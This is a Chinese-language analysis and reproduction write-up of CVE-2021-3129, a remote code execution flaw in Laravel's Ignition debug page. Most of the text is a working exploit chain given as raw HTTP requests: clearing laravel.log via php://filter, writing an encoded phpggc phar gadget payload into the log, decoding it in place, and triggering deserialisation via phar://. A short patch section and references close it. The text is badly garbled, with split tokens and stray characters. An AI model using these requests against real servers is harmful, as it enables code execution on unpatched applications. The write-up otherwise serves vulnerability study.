CVE-2021-3129分析
CVE-2021-3129分析
·???????? Tag: [[php phar]] | [[php deserialize]]
Env搭建
VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv
Source 分析
根據描述,本質上是由于 facade/ignition
引入的問題,直接查看 ignition
的 commit 記錄[^1] 看到 \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution
添加了一個安全過濾函數 isSafePath
// \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptionalpublic
function
makeOptional(array $parameters = []){??? $originalContents
=
file_get_contents($parameters
['viewFile']);??? $newContents
=
str_replace('$'.$parameters
['variableName'],
'$'.$parameters
['variableName']." ?? ''", $originalContents
);?
??? $originalTokens
=
token_get_all(Blade
::compileString($originalContents
));??? $newTokens
=
token_get_all(Blade
::compileString($newContents
));?
??? $expectedTokens
= $
this->generateExpectedTokens($originalTokens
, $parameters
['variableName']);?
???
if
($expectedTokens
!== $newTokens
)
{???????
return
false;???
}?
???
return $newContents
;}
發(fā)現危險函數 file_get_contents
,跟蹤函數調用棧
l? \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::makeOptional
l? \Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::run
l? \Facade\Ignition\Http\Controllers\ExecuteSolutionController::__invoke
l? \Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes
參數 $parameters['viewFile']
無過濾,通過 execute-solution
路由可以進行觸發(fā),結合官方文檔[^2] 可知,在執(zhí)行 solution
操作時將走到 source 處。
Poc 編寫
啟動環(huán)境后,就出現了一個 igition
的錯誤修復界面,點擊 Generate app key
抓包
POST
/_ignition
/execute
-solution
HTTP/1.1Host
: localhost
:8000Content
-Length
:
82Accept
: application
/json
Content
-Type
: application
/json
User
-Agent
: Mozilla
/5.0
(Windows
NT
10.0; Win64
; x64
) AppleWebKit
/537.36
(KHTML, like Gecko
) Chrome
/95.0.4638.69 Safari
/537.36Origin
: http
://localhost
:8000Referer
: http
://localhost:8000/Accept
-Encoding
: gzip
, deflate
Accept
-Language
: zh
-CN,zh
;q
=0.9Connection
: close
{"solution":"Facade\\Ignition\\Solutions\\GenerateAppKeySolution","parameters":[]}
然后修改參數 solution
修改為 MakeViewVariableOptionalSolution
指定 solution
POST
/_ignition
/execute
-solution
HTTP/1.1Host
: localhost
:8000Content
-Length
:
163Accept
: application
/json
Content
-Type
: application
/json
User
-Agent
: Mozilla
/5.0
(Windows
NT
10.0; Win64
; x64
) AppleWebKit
/537.36
(KHTML, like Gecko
) Chrome
/95.0.4638.69 Safari
/537.36Origin
: http
://localhost
:8000Referer
: http
://localhost:8000/Accept
-Encoding
: gzip
, deflate
Accept
-Language
: zh
-CN,zh
;q
=0.9Connection
: close
{???
"solution":
"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",???
"parameters":
{???????
"variableName":
"sxv",???????
"viewFile":
"asdfasdf"???
}}HTTP/1.1
500 Internal Server Error
Host
: localhost
:8000Date
: Tue
,
15 Mar
2022
08:00:15
GMTConnection
: close
X-Powered
-By
:
PHP/7.3.21Cache
-Control
: no
-cache
,
privateDate
: Tue
,
15 Mar
2022
08:00:15
GMTContent
-Type
: application
/json
{???
"message":
"file_get_contents(asdfasdf): failed to open stream: No such file or directory",???
...}
500
則代表存在漏洞。
EXP 編寫
當存在上傳點時,直接上傳 phar 文件進行反序列化即可,直接快進到第四步觸發(fā)反序列化
利用思路
無上傳點可利用時,我們可以操控 ../storage/logs/laravel.log
日志文件,配合 php://filter
的特性來構建 phar 文件,執(zhí)行反序列化。
1.????? 清空日志文件
{???
"solution":
"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",???
"parameters":
{???????
"variableName":
"sxv",???????
"viewFile":
"php://filter/read=consumed/resource=../storage/logs/laravel.log"???
}}
1.????? 寫入合法 phar 文件
[2022-03-08
09:09:26] local
.ERROR:
file_get_contents(AA): failed to open stream
: No such file or directory
{"exception":"
[object
]
(ErrorException(code
:
0):
file_get_contents(AA): failed to open stream
: No such file or directory at
C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution
.php
:75)?
[stacktrace
]?
#
0
[internal
function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions
->handleError(2,
'file_get_conten...',
'C:\\\\Users\\\\xu...',
75, Array
)?
#
1
C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution
.php(75):
file_get_contents('AA')?
........#
41
{main
}?
"
}
其中傳入的 payload
出現位置
...
[padding
] file_get_contents
($payload)
[padding
] file_get_contents
($payload)...
[padding
] file_get_contents
('$payload[:15]')
# 部分payload
由于 [[php phar#文件結構]] 特性,文件前后允許臟數據存在,所以思路為
構造phar文件,將phar文件經過編碼后寫入log文件,再通過 php://filter 特性還原phar文件,最后通過 phar://觸發(fā)
編碼特性
·???????? base64解碼
o??? 不符合 base64 標準的字符將被忽略 然后繼續(xù)解碼
·???????? utf16 -> utf8
o??? utf16 用兩字節(jié)表示一個字符, 需要雙字節(jié)對齊
·???????? quoted-printable 郵件編碼
o??? 將 \0
編碼為 =00
<?php
$fp
=
fopen('php://output',
'w');?
stream_filter_append($fp
,
'convert.base64-encode');?
stream_filter_append($fp
,
'convert.iconv.utf-8.utf-16le');?
stream_filter_append($fp
,
'convert.quoted-printable-encode');?
fwrite($fp
,
"POCCCCCCCCCCCCC");fclose($fp
);// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00$fp
=
fopen('php://output',
'w');?
stream_filter_append($fp
,
'convert.quoted-printable-decode');?
stream_filter_append($fp
,
'convert.iconv.utf-16le.utf-8');?
//stream_filter_append($fp, 'convert.base64-decode');? fwrite($fp
,
"AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA");?
fclose($fp
);// ??UE9DQ0NDQ0NDQ0NDQ0ND???
$fp
=
fopen('php://output',
'w');?
//stream_filter_append($fp, 'convert.quoted-printable-decode');? //stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');? stream_filter_append($fp
,
'convert.base64-decode');?
fwrite($fp
,
"??UE9DQ0NDQ0NDQ0NDQ0ND??");?
fclose($fp
);// POCCCCCCCCCCCCC?>
發(fā)送
// Step 1"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"// Step 2"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
解碼報錯 file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence
觀察日志文件
[2022-03-10
07:02:55] local
.ERROR:
file_get_contents(U=00E
=009=00D
=00Q
=000=00N
=00D
=00Q
=000=00N
=00D
=00Q
=000=00N
=00D
=00Q
=000=00N
=00D
=00): failed to open stream
: No such file or directory
{"exception":"
[object
]
(ErrorException(code
:
0):
file_get_contents(U=00E
=009=00D
=00Q
=000=00N
=00D
=00Q
=000=00N
=00D
=00Q
=000=00N
=00D
=00Q
=000=00N
=00D
=00): failed to open stream
: No such file or directory at
C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution
.php
:75)[stacktrace
]#
0
[internal
function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions
->handleError(2,
'file_get_conten...',
'C:\\\\Users\\\\xu...',
75, Array
)#
1
C:\\Users\\xu\\Desktop\\tmp\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution
.php(75):
file_get_contents('U=00E=009=00D=0...')
斷定由于 U=00E=009=00D=0...
處被截斷導致 quoted-printable
解碼報錯,第三處位置只顯示前15個字符,所以可以通過 'A' * 15
進行填充,發(fā)送
AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解碼后得到 POCCCCCCCCCCCCCPOCCCCCCCCCCCCC
出現了兩次 payload
,初步符合我們的要求,能夠自由控制 storage.log
內容。
那出現兩次的 payload
如何解決呢?如果出現兩次 payload
或者出現部分殘留的base64編碼允許的字符將影響后續(xù)的base64解碼。 可以通過在前后通過加填充字符的方式來調整 payload
的第一個字符下標為奇數 or 偶數,從而影響 utf16->utf8
的解碼,來使得最終只出現一次 payload
例如發(fā)送 'A' * 16
AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
解碼后成功得到 POCCCCCCCCCCCCC
phar 生成
利用 phpgcc [^3] 生成 phar 文件
> php -d
'phar.readonly=0' ./phpggc Laravel/RCE5
"phpinfo();" -p phar -o poc.phar
> php -r
"echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote? d-printable-encode/resource=poc.phar');"
P=00D
=009
=00w
=00a
=00H
=00A
=00g
=00X
=001
=009
=00I
=00Q
=00U
=00x
=00U
=00X
=000
=00N
=00P
=00T
=00
...
N=00b
=00A
=00g
=00A
=00A
=00A
=00E
=00d
=00C
=00T
=00U
=00I
=00
=3D
=00
完整利用
1.????? 清空日志
POST
/_ignition
/execute
-solution
HTTP/1.1Host
: localhost
:8000Content
-Length
:
196Accept
: application
/json
Content
-Type
: application
/json
sec
-ch
-ua
-mobile
:
?0User
-Agent
: Mozilla
/5.0
(Windows
NT
10.0; Win64
; x64
) AppleWebKit
/537.36
(KHTML, like Gecko
) Chrome
/95.0.4638.69 Safari
/537.36Origin
: http
://localhost
:8000Accept
-Encoding
: gzip
, deflate
Accept
-Language
: zh
-CN,zh
;q
=0.9Connection
: close
{
"solution":
"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":
{
"variableName":
"sxv",
"viewFile":
"php://filter/read=consumed/resource=../storage/logs/laravel.log"
}}
1.????? 發(fā)送 phar 文件
POST
/_ignition
/execute
-solution
HTTP/1.1Host
: localhost
:8000Content
-Length
:
3222Accept
: application
/json
Content
-Type
: application
/json
User
-Agent
: Mozilla
/5.0
(Windows
NT
10.0; Win64
; x64
) AppleWebKit
/537.36
(KHTML, like Gecko
) Chrome
/95.0.4638.69 Safari
/537.36Origin
: http
://localhost
:8000Referer
: http
://localhost
:8000/?XDEBUG_SESSION_START=16187Accept
-Encoding
: gzip
, deflate
Accept
-Language
: zh
-CN,zh
;q
=0.9Connection
: close
{
"solution":
"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":
{
"variableName":
"sxv",
"viewFile":
"AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00"
}}
1.????? 還原 phar 文件
此步驟可通過以下代碼驗證 phar 文件還原是否成功,或者通過http 200
狀態(tài)碼判斷
$fix
=
file_get_contents("php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log");?
var_export($fix
);POST
/_ignition
/execute
-solution
HTTP/1.1Host
: localhost
:8000Content
-Length
:
271Accept
: application
/json
Content
-Type
: application
/json
User
-Agent
: Mozilla
/5.0
(Windows
NT
10.0; Win64
; x64
) AppleWebKit
/537.36
(KHTML, like Gecko
) Chrome
/95.0.4638.69 Safari
/537.36Origin
: http
://localhost
:8000Referer
: http
://localhost
:8000/?XDEBUG_SESSION_START=16187Accept
-Encoding
: gzip
, deflate
Accept
-Language
: zh
-CN,zh
;q
=0.9Connection
: close
{
"solution":
"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":
{
"variableName":
"sxv",
"viewFile":
"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}}
1.????? 觸發(fā)反序列化
POST
/_ignition
/execute
-solution
HTTP/1.1Host
: localhost
:8000Content
-Length
:
167Accept
: application
/json
Content
-Type
: application
/json
User
-Agent
: Mozilla
/5.0
(Windows
NT
10.0; Win64
; x64
) AppleWebKit
/537.36
(KHTML, like Gecko
) Chrome
/95.0.4638.69 Safari
/537.36Origin
: http
://localhost
:8000Referer
: http
://localhost
:8000/?XDEBUG_SESSION_START=16187Accept
-Encoding
: gzip
, deflate
Accept
-Language
: zh
-CN,zh
;q
=0.9Connection
: close
{
"solution":
"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":
{
"variableName":
"sxv",
"viewFile":
"phar://../storage/logs/laravel.log"
}} ?
Patch 修復
\Facade\Ignition\Solutions\MakeViewVariableOptionalSolution::isSafePath
函數對$parameters['viewFile']
進行了過濾,防止偽協(xié)議等。
protected
function
isSafePath(string $path): bool
{???????
if
(! Str
::startsWith($path
,
['/',
'./']))
{??????????????
return
false;???????
}???????
if
(! Str
::endsWith($path
,
'.blade.php'))
{??????????????
return
false;???????
}?
???????
return
true;} ? ?
Reference
·???????? Laravel8 CVE-2021-3129 復現分析 - TARI TARI
·???????? Laravel Debug mode RCE(CVE-2021-3129)復現 - inHann的博客 | inHann’s Blog
·???????? Laravel Debug mode RCE(CVE-2021-3129)分析復現 - 先知社區(qū)
?